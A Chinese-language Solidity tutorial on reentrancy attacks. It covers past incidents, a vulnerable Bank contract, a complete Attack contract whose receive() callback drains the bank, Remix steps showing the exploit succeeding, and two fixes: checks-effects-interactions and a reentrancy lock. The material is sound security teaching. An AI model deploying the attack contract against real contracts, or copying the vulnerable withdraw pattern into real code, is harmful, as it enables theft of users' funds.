WTF Solidity 合约安全: S01. 重入攻击

我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。

推特:@0xAA_Science

社区:Discord微信群官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity


这一讲,我们将介绍最常见的一种智能合约攻击-重入攻击,它曾导致以太坊分叉为 ETH 和 ETC(以太经典),并介绍如何避免它。

重入攻击

重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如fallback函数)循环调用合约,将合约中资产转走或铸造大量代币。

一些著名的重入攻击事件:

  • 2016年,The DAO合约被重入攻击,黑客盗走了合约中的 3,600,000 枚 ETH,并导致以太坊分叉为 ETH 链和 ETC(以太经典)链。

  • 2019年,合成资产平台 Synthetix 遭受重入攻击,被盗 3,700,000 枚 sETH

  • 2020年,借贷平台 Lendf.me 遭受重入攻击,被盗 $25,000,000。

  • 2021年,借贷平台 CREAM FINANCE 遭受重入攻击,被盗 $18,800,000。

  • 2022年,算法稳定币项目 Fei 遭受重入攻击,被盗 $80,000,000。

距离 The DAO 被重入攻击已经6年了,但每年还是会有几次因重入漏洞而损失千万美元的项目,因此理解这个漏洞非常重要。

0xAA 抢银行的故事

为了让大家更好理解,这里给大家讲一个"黑客0xAA抢银行"的故事。

以太坊银行的柜员都是机器人(Robot),由智能合约控制。当正常用户(User)来银行取钱时,它的服务流程:

  1. 查询用户的 ETH 余额,如果大于0,进行下一步。

  2. 将用户的 ETH 余额从银行转给用户,并询问用户是否收到。

  3. 将用户名下的余额更新为0

一天黑客 0xAA 来到了银行,这是他和机器人柜员的对话:

  • 0xAA : 我要取钱,1 ETH

  • Robot: 正在查询您的余额:1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗?

  • 0xAA : 等等,我要取钱,1 ETH

  • Robot: 正在查询您的余额:1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗?

  • 0xAA : 等等,我要取钱,1 ETH

  • Robot: 正在查询您的余额:1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗?

  • 0xAA : 等等,我要取钱,1 ETH

  • ...
    最后,0xAA通过重入攻击的漏洞,把银行的资产搬空了,银行卒。

漏洞合约例子

银行合约

银行合约非常简单,包含1个状态变量balanceOf记录所有用户的以太坊余额;包含3个函数:

  • deposit():存款函数,将ETH存入银行合约,并更新用户的余额。

  • withdraw():提款函数,将调用者的余额转给它。具体步骤和上面故事中一样:查询余额,转账,更新余额。注意:这个函数有重入漏洞!

  • getBalance():获取银行合约里的ETH余额。

contract Bank {
    mapping (address => uint256) public balanceOf;    // 余额mapping

    // 存入ether,并更新余额
    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
    }

    // 提取msg.sender的全部ether
    function withdraw() external {
        uint256 balance = balanceOf[msg.sender]; // 获取余额
        require(balance > 0, "Insufficient balance");
        // 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");
        // 更新余额
        balanceOf[msg.sender] = 0;
    }

    // 获取银行合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

攻击合约

重入攻击的一个攻击点就是合约转账ETH的地方:转账ETH的目标地址如果是合约,会触发对方合约的fallback(回退)函数,从而造成循环调用的可能。如果你不了解回退函数,可以阅读WTF Solidity极简教程第19讲:接收ETHBank合约在withdraw()函数中存在ETH转账:

(bool success, ) = msg.sender.call{value: balance}("");

假如黑客在攻击合约中的fallback()receive()函数中重新调用了Bank合约的withdraw()函数,就会造成0xAA抢银行故事中的循环调用,不断让Bank合约转账给攻击者,最终将合约的ETH提空。

    receive() external payable {
        bank.withdraw();
    }

下面我们看下攻击合约,它的逻辑非常简单,就是通过receive()回退函数循环调用Bank合约的withdraw()函数。它有1个状态变量bank用于记录Bank合约地址。它包含4个函数:

  • 构造函数: 初始化Bank合约地址。

  • receive(): 回调函数,在接收ETH时被触发,并再次调用Bank合约的withdraw()函数,循环提款。

  • attack():攻击函数,先Bank合约的deposit()函数存款,然后调用withdraw()发起第一次提款,之后Bank合约的withdraw()函数和攻击合约的receive()函数会循环调用,将Bank合约的ETH提空。

  • getBalance():获取攻击合约里的ETH余额。

contract Attack {
    Bank public bank; // Bank合约地址

    // 初始化Bank合约地址
    constructor(Bank _bank) {
        bank = _bank;
    }
    
    // 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数
    receive() external payable {
        if (bank.getBalance() >= 1 ether) {
            bank.withdraw();
        }
    }

    // 攻击函数,调用时 msg.value 设为 1 ether
    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }

    // 获取本合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Remix演示

  1. 部署Bank合约,调用deposit()函数,转入20 ETH

  2. 切换到攻击者钱包,部署Attack合约。

  3. 调用Atack合约的attack()函数发动攻击,调用时需转账1 ETH

  4. 调用Bank合约的getBalance()函数,发现余额已被提空。

  5. 调用Attack合约的getBalance()函数,可以看到余额变为21 ETH,重入攻击成功。

预防办法

目前主要有两种办法来预防可能的重入攻击漏洞: 检查-影响-交互模式(checks-effect-interaction)和重入锁。

检查-影响-交互模式

检查-影响-交互模式强调编写函数时,要先检查状态变量是否符合要求,紧接着更新状态变量(例如余额),最后再和别的合约交互。如果我们将Bank合约withdraw()函数中的更新余额提前到转账ETH之前,就可以修复漏洞:

function withdraw() external {
    uint256 balance = balanceOf[msg.sender];
    require(balance > 0, "Insufficient balance");
    // 检查-效果-交互模式(checks-effect-interaction):先更新余额变化,再发送ETH
    // 重入攻击的时候,balanceOf[msg.sender]已经被更新为0了,不能通过上面的检查。
    balanceOf[msg.sender] = 0;
    (bool success, ) = msg.sender.call{value: balance}("");
    require(success, "Failed to send Ether");
}

重入锁

重入锁是一种防止重入函数的修饰器(modifier),它包含一个默认为0的状态变量_status。被nonReentrant重入锁修饰的函数,在第一次调用时会检查_status是否为0,紧接着将_status的值改为1,调用结束后才会再改为0。这样,当攻击合约在调用结束前第二次的调用就会报错,重入攻击失败。如果你不了解修饰器,可以阅读WTF Solidity极简教程第11讲:修饰器

uint256 private _status; // 重入锁

// 重入锁
modifier nonReentrant() {
    // 在第一次调用 nonReentrant 时,_status 将是 0
    require(_status == 0, "ReentrancyGuard: reentrant call");
    // 在此之后对 nonReentrant 的任何调用都将失败
    _status = 1;
    _;
    // 调用结束,将 _status 恢复为0
    _status = 0;
}

只需要用nonReentrant重入锁修饰withdraw()函数,就可以预防重入攻击了。

// 用重入锁保护有漏洞的函数
function withdraw() external nonReentrant{
    uint256 balance = balanceOf[msg.sender];
    require(balance > 0, "Insufficient balance");

    (bool success, ) = msg.sender.call{value: balance}("");
    require(success, "Failed to send Ether");

    balanceOf[msg.sender] = 0;
}

总结

这一讲,我们介绍了以太坊最常见的一种攻击——重入攻击,并编了一个0xAA抢银行的小故事方便大家理解,最后我们介绍了两种预防重入攻击的办法:检查-影响-交互模式(checks-effect-interaction)和重入锁。在例子中,黑客利用了回退函数在目标合约进行ETH转账时进行重入攻击。实际业务中,ERC721ERC1155safeTransfer()safeTransferFrom()安全转账函数,还有ERC777的回退函数,都可能会引发重入攻击。对于新手,我的建议是用重入锁保护所有可能改变合约状态的external函数,虽然可能会消耗更多的gas,但是可以预防更大的损失。

Subscribe to 0xAA
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.